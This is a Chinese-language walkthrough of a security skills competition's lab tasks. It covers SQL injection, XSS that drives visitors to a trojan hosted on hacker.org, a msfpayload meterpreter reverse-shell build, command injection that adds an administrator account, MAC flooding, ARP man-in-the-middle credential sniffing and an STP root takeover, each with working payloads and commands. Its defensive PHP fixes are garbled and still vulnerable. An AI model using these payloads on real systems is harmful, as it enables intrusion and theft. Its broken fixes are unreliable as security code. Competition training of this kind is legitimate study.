攻防

信息安全管理与评估技能大赛第二阶段真题解析

任务1∶SQL注入攻防(55分)

1. Web访问DCST 中的 WebServ2003服务器,进入login.php页面,分析该页面

找到源程序,找到提交的变量名,并截图;(5分)
找到源程序∶

name="usernm"
pass="passwd"
2.对该任务题目1页面注入点进行SQL注入渗透测试,使该Web站点可通过任意

用户名登录,并将测试过程截图;(5分)

Username : any
Password : any' or 100='100
返回 Login sussces

构造注入语句∶
username:任意用户名
password :含:or X=' X 
或运算,或上一个永远为真的条件
(X为任意值)
3.进入DCST 中的 WebServ2003服务器的C:\AppServ\www目录,找到loginAuth.php程序,

使用EditPlus工具分析并修改PHP源程序,使之可以抵御SQL注入,并将修改后的PHP源程序截图;( 10分)

$sql="select password from users where '$username' " ;   //先匹配username,在匹配上用户名的情况下再去匹配密码
$res=mssql query($sql ,$conn) or exit ("DB Query railure
"); if($obj=mssql_ fetch_object (res) ) { if($obj->password==password) { //匹配密码 setcookie ( "username" ,$username , time ()+600) ; setcookie ( "password" , $password , time ()+600) ; header ( "location: success.php"") ;} //用户名密码都对就登陆成功 else{ echo "Password is wrong" ; //密码错误 header ( "Refresh:3 ;url=http: / /192.168.1.119/failure.php");} }else{ echo "Username Does Hot Exist" ; //用户名不存在 header ( "Refresh:3 ;url=http:/ /192.168.1.119/failure.php") ;}
4.再次对该任务题目1页面注入点进行渗透测试,验证此次利用该注入点对该DCST中的 WebServ2003服务器进行SQL注入渗透测试无效,并将验证过程截图;(5分)

同时包含截图∶

5. Web继续访问DCST 中的 WebServ2003服务器,/"->"Employee Information Query”,分析该页面源程序,找到提交的变量名,并截图;(5分)

找到源程序∶

任务2∶XSS和CSRF攻防(65分)

1. Web访问DCST 中的WebServ2003服务器,/"->"Employee Message Board",分析该页面源程序,找到提交的变量名,并截图;(5分)

找到源程序∶


2.对该任务题目1页面注入点进行XSS渗透测试,并进入"/"->"Employee Message Board"->"Display Message"页面,根据该页面的显示 ,确定是注入点,并将测试过程截图;(5分),

构造注入代码:

while(1)死循环。。。
测试注入成功∶

3.对该任务题目1页面注入点进行渗透测试,使"/"->"Employee Message Board"->"Display Message"页面的访问者执行网站( http://hacker.org/)中的木马程序:http://hacker.org/TrojanHorse.exe ,并将注入代码及测试过程截图;

(5分)

构造注入代码:

测试过程∶

4.通过IIS搭建网站( http://hacker.org/),并通过Kali生成木马程序TrojanHorse.exe,将该程序复制到网站( http://hacker.org/ )的 WWW根目录下,并将搭建该网站结果截图;(5分)

要搭建DNS服务器和IIS


kali配置ip命令

root@bt:~# ifconfig eth0 192.168.1.150 netmask 255.255.255.0

root@bt:~# msfpayload windows/meterpreter/reverse_tcp  #让它反向连接你,所以设置的LHOST是你kali本机的地址
LHOST=Kali IP   LPORT=80  X >/tmp/TrojanHorse.exe

接下来吧生成的程序上传到网站wwwroot目录下就可以使用了

5.当"/"->"Employee Message Board"->"Display Message"页面的访问者执行网站( http://hacker.org/)中的木马程序TrojanHorse.exe 以后,访问者主机需要被Kali主机远程控制,打开访问者主机的CMD.exe命令行窗口,并将该操作过

程截图;(5分)

任务3∶命令注入与文件包含攻防(50分)

1. Web 访问DCST 中的 WebServ2003,服务器,"/"->" Display Directory”,分析该页面源程序,找到提交的变量名,并截图;(5分)

找到源程序∶


name = "directory"

2.对该任务题目1页面注入点进行渗透测试,使页面 DisplayDirectoryCtrl.php回显C:AWindows目录内容的同时,对WebServer添加账号“Hacker”,将该账号加入管理员组,并将注入代码及测试过程截图;(5分)

注入语句:

列举WINDOWS的同时添加管道符 | ,管道符的作用两个命令同时执行

WINDOWS | net user Hacker P@ssword /add     |是管道符,后面的命令是添加一个账号密码   /add是添加
WINDOWS | net localgroup administrators Hacker /add    将Hacker添加到管理员组中
3.进入DCST 中的 WebServ2003,服务器的C:\AppServ\www目录,找到DisplayDirectoryCtrl.php程序,使用EditPlus工具分析并修改PHP源程序,使之可以抵御命令注入渗透测试,并将修改后的源程序截图;( 10分)

修改后的源程序截图:

$directory=$_GET[ 'directory ' ] ;
$str='l';     / /设置一个变量,对管道符做过滤
if ( strstr ($directory,$str)==false) {      /  /如果输入的字符中包含$str,$str=|,这个时候就判定为攻击,不合法的数据
if ( ! empty ($directory) ) {
    echo "
";
    system ( "dir /w c:\\".$directory) ;
    echo "'
" ; echo "
Display C:'s Directory
" ; }else{ echo "
" ;
    system ( "dir /w c:\\") ;
    echo "
" ; echo "
Please enter the directory name!
" ; echo "
Display c:'s Directory
" ; } }else{ exit ( "Illegal input ! ") ;} }
4.再次对该任务题目1页面注入点进行渗透测试,验证此次利用注入点对该DCST中的 WebServ2003服务器进行命令注入渗透测试无效,并将验证过程截图;(5分)

利用注入点对该DCST 中的 WebServ2003服务器进行命令注入渗透测试;


任务4∶数据窃取防护:二层攻防(45分)

1.将PC1、Kali所连接端口划入与WAF同一VLAN (VLAN10),并将PC1、Kali分配与DCST服务器相同网段P地址,使PC1、Kali、DCST 中的WebServ2003服务器能够在同一个网段(VLAN10)内相互Ping通。(2分)

Pc1、Kali、DCST同在VLAN10; ( #show vlan )


设备基础配置:

DCRS-5650#config
DCRS-5650(config)#vlan 10
DCRS-5650(config)#switchport interface ethernet 1/0/1-24
 set the port rthernet1/0/1 access vlan 10 successfully
set the port Ethernet1/0/2 access vlan 10 successfully
set the port Ethernet1/0/3 access vlan 10 successfully
... ...
set the port Ethernet1/0/24 access vlan 10 successfully

DCRS-5650(config)#interface vlan 10
DCRS-5650(config-if-vlan10)#ip address 192.168.1.1 255.255.255.0
% overlap other interface ip address
DCRS-5650(config-if-vlan10)#exit
DCRS-5650(config)#no interface  vlan 1     / /删除vlan 1

DCRS-5650(config)#interface vlan 10
DCRS-5650(config-if-vlan10)#ip address 192.168.1.1 255.255.255.0

server地址:192.168.1.119
PC1地址:192.168.1.115

kali:

root@bt:~# ifconfig eth0 192.168.1.200 netmask 255.255.255.0

2.查看DCRS交换机 VLAN10的MAC地址表容量信息,并将DCRS交换机 配置相关参数、查看命令、查看结果截图。(3分)

show mac-address-table count vlan 10

DCRS-5650#show mac-address-table count vlan 10
compute the number of mac address. . . .
Max entries can be created in the largest capacity card:
Total     Filter Entry Number is: 16384     / /MAC地址表的容量是16384条,那他就可以学16384条
static    Filter Entry Number is: 16384
Unicast   Filter Entry Number is: 16384
current entries have been created in the system:Total
Total     Filter Entry Number is: 5   / /目前学到了5条
static    Filter Entry Number is: 1
Unicast   Filter Entry Number is: 5
Hidden    Filter Entry Number is: 0
DCRS-5650#

3.从 Kali 发起MAC Flooding 渗透测试,使DCRS交换机的MAC地址表溢出,使其在MAC地址表溢出的条件下,无法学习到PC1和DCST中的 WebServ2003服务器的MAC地址表信息,查看DCRS交换机的MAC地址表信息,并将渗透测试敲寸程截图。(5分)

macof命令是生成随机的MAC地址发送到交换机

泛洪攻击后的mac表

DCRS-5650#show mac-address-table count vlan 10
compute the number of mac address. . . .
Max entries can be created in the largest capacity card:
Total     Filter Entry Number is: 16384     
static    Filter Entry Number is: 16384
Unicast   Filter Entry Number is: 16384
current entries have been created in the system:Total
Total     Filter Entry Number is: 16384   / /目前学到了16384条,他就被占满了,
static    Filter Entry Number is: 1
Unicast   Filter Entry Number is: 16384
Hidden    Filter Entry Number is: 0
DCRS-5650#
DCRS-5650#show mac-address-table
Read mac address table ... .
Vlan    Mac Address            Type     Creator    Ports
------------------------------------------------------------------
10      00-03-07-42-81-d7      DYNAMIC  Hardware   Ethernet1/0/1
10      00-03-0f-61-5c-3a      DYNAMIC  Hardware   Ethernet1/0/1
10      00-09-b5-54-6b-ac      DYNAMIC  Hardware   Ethernet1/0/1
10      00-0a-1c-2f-17-df      DYNAMIC  Hardware   Ethernet1/0/1
10      00-0a-d9-51-26-d1      DYNAMIC  Hardware   Ethernet1/0/1
10      00-0b-17-02-12-97      DYNAMIC  Hardware   Ethernet1/0/1
10      00-0b-f7-29-b9-bd      DYNAMIC  Hardware   Ethernet1/0/1
10      00-0c-29-4e-c7-10      DYNAMIC  Hardware   Ethernet1/0/1
10      00-0c-29-8f-46-42      DYNAMIC  Hardware   Ethernet1/0/1
10      00-0c-29-9f-8f-99      DYNAMIC  Hardware   Ethernet1/0/1
10      00-0C-53-34-3a-2c      DYNAMIC  Hardware   Ethernet1/0/1
10      00-0e-77-7b-7e-e0      DYNAMIC  Hardware   Ethernet1/0/1
10      00-10-56-7e-21-8e      DYNAMIC  Hardware   Ethernet1/0/1
10      00-12-9d-20-29-c1      DYNAMIC  Hardware   Ethernet1/0/1
10      00-13-a9-1b-91-53      DYNAMIC  Hardware   Ethernet1/0/1
/ /这里面全是没有用的MAC,目的就是占满交换机的MAC地址表。

任务5∶数据窃取防护:ARP攻防(45分)

1.在PC1访问DCST 中的 WebServ2003,服务器时,查看PC1,和DCST 中的WebServ2003服务器的ARP缓存信息,并将PC1和DCST中的 WebServ2003服务器的ARP缓存信息截图。(5分)

三台设备的信息:

Server
lP:192.168.1.119
MAC: 00-0C-29-9F-8F-99

Kali:
lP:192.168.1.200
MAC:00-0C-29-4E-C7-10

PC1:
IP:192.168.1.115
MAC:00-0C-29-8F-46-42

PC1访问过Server后,会有Server的ip和mac

PC1:
C: Docunents and Settings    '\Administrator>arp -a
Interf ace: 192.168.1.115---0x2
Internet Address       Physical Address          Type
192.168.1.119          00-8c-29-9f-8f-99        dynamic


Server:
C: \>arp -a
Interf ace: 192.168.1.119---0x2
Internet Address       Physical Address          Type
192.168.1.135          00-0c-29-8f-46-42        dynamic
2.在Kali对PC1进行ARP Spoofing 渗透测试,使PC1无法访问DCST中的WebServ2003服务器,PC1的ARP缓存为:DCST 中的 WebServ2003服务器IP->Kali的MAC地址,在PC1查看被Kali毒化后的ARP缓存信息,并将该信息截图。(5分)

ARP攻击

┌──(root㉿kali)-[~]
└─# arpspoof -t 192.168.1.115 192.168.1.119    / / 1.115是PC1的地址,欺骗PC1,告诉他我是Server  1.119
0:c:29:4e:c7:10 0:c:29:8f:46:42 0806 42: arp reply 192.168.1.119 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:8f:46:42 0806 42: arp reply 192.168.1.119 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:8f:46:42 0806 42: arp reply 192.168.1.119 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:8f:46:42 0806 42: arp reply 192.168.1.119 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:8f:46:42 0806 42: arp reply 192.168.1.119 is-at 0:c:29:4e:c7:10
攻击之 前 PC1的arp表
PC1:
C: Docunents and Settings    '\Administrator>arp -a
Interf ace: 192.168.1.115---0x2
Internet Address       Physical Address          Type
192.168.1.119          00-8c-29-9f-8f-99        dynamic
                 这里的MAC地址还是对的,是Server的
攻击之 后 PC1的arp表
PC1:
C: Docunents and Settings    '\Administrator>arp -a
Interf ace: 192.168.1.115---0x2
Internet Address       Physical Address          Type
192.168.1.119          00-0c-29-4e-c7-10        dynamic
                攻击后的MAC地址就变成了Kali攻击机的MAC地址了
3.在Kali对PC1.和DCST 中的 WebServ2003,服务器进行ARP中间人渗透测试,使Kali 能够使用wireshark 监听到PC1向DCST 中的 WebServ2003服务器的LoginAuth.php页面提交的登录网站用户名、密码参数,并将该渗透测试过程截图。(7分)

ARP中间人
欺骗Server和PC1,使其都把kali当作对方,

特殊注意,需要在kali开启路由功能

对PC1ARP攻击的同时,再对Server也开启ARP攻击

┌──(root㉿kali)-[~]
└─# arpspoof -t 192.168.1.119 192.168.1.115    / / 1.119是Server的地址,欺骗Server,告诉他我是PC1  1.115
0:c:29:4e:c7:10 0:c:29:9f:8f:99 0806 42: arp reply 192.168.1.115 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:9f:8f:99 0806 42: arp reply 192.168.1.115 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:9f:8f:99 0806 42: arp reply 192.168.1.115 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:9f:8f:99 0806 42: arp reply 192.168.1.115 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:9f:8f:99 0806 42: arp reply 192.168.1.115 is-at 0:c:29:4e:c7:10

攻击后,两台设备的ARP表


PC1:
C: Docunents and Settings    '\Administrator>arp -a
Interf ace: 192.168.1.115---0x2
Internet Address       Physical Address          Type
192.168.1.119          00-0c-29-4e-c7-10        dynamic
                攻击后的MAC地址就变成了Kali攻击机的MAC地址了

Server:
C: \>arp -a
Interf ace: 192.168.1.119---0x2
Internet Address       Physical Address          Type
192.168.1.115          00-0c-29-4e-c7-10         dynamic
                Server的ARP表中PC1的MAC也变成了kali的MAC

Kali开启路由功能

# echo 1 > /proc/sys/net/ipv4/ip_forward
此时就可以监听PC1到服务器的流量

此时就可以监听PC1到服务器的流量

打开wireshark监听
获取登陆的账号密码

任务6∶数据窃取防护:生成树攻防(40分)

1.在DCRS 交换机开启生成树协议,生成树协议模式为STP,DCRS 交换机优先级为0(根交换机),防止网络出现物理环路,显示 DCRS交换机生成树协议的状态,并将该信息截屏;(5分)。

交换机配置:

DCRS-5650(config)#spanning-tree
MSTP is starting now, please wait. . . .. . . . . . ..
MSTP is enabled successfully.
DCRS-5650 (config) #spanning-tree mode stp
DCRS-5650(config) #spanning-tree mst 0 priority oDCRS-5650 (config) #end
DCRS-5650#sh spanning-tree

**********************************Process 0*****************************
                          -- STP Bridge Config Info --
standard      :     IEEE802.1d
Bridge MAC    :     00:03:0f:61:5c:3b
Bridge Times  :     Max Age 20,Hello Time 2, Forward Delay 15
Force version :     0
#############################################################
Self Bridge Id   : 0.00:03:0f:61:5c:3b
Root Id          : this switch    / /这个交换机是根交换机
Ext.RootPathcost : 0
Root Port ID     : 0
PortName          ID        ExtRPC    state     Role    DsgBridge      DsgPort
Ethernet1/0/1   128.001          0     LRN      DSGN    0.00030f615c3b 128.001
DCRs-5650#

2.在Kali向DCRS交换机发起Take Over The Root Bridge渗透测试,使DCRS交换机认为Kali为Root Bridge,显示DCR交换机生成树协议的状态,并将该信息截屏;(5分)

也就是 根 替换攻击

Kali:打开 yersina工具

root@bt:~# yersina

操作完成后,再到交换机上查看生成树的优先级

DCRS-5650#sh spanning-tree

**********************************Process 0*****************************
                          -- STP Bridge Config Info --
standard      :     IEEE802.1d
Bridge MAC    :     00:03:0f:61:5c:3b
Bridge Times  :     Max Age 20,Hello Time 2, Forward Delay 15
Force version :     0
#############################################################
Self Bridge Id   : 0.00:03:0f:61:5c:3b
Root Id          : 0.00:03:0f:60:5c:3b    / /这个攻击的就很很隐蔽,把中间的61改成60,非常隐蔽
Ext.RootPathcost : 20000
Root Port ID     : 128.1
PortName          ID        ExtRPC    state     Role    DsgBridge      DsgPort
Ethernet1/0/1   128.001          0     LRN      DSGN    0.00030f605c3b 128.001
DCRs-5650#

3.配置DCRS 交换机生成树协议安全特性,阻止Take Over The Root Bridge渗透测试,并将 DCRS 交换机相关配置信息截屏;(7分)

有三种做法

做法一:
VLAN10的每个接口都做∶
Switch(config-if-ethernet1/0/X)#spanning-tree rootguard

做法二∶
VLAN10的每个接口都做∶
Switch(config-if-ethernet1/0/X)#spanning-tree portfast bpduguard
recovery(任意值)

做法三
VLAN10的每个接口都做∶
Switch(config-if-ethernet1/0/X)#spanning-tree portfast bpdufiltere

你可能感兴趣的:(攻防)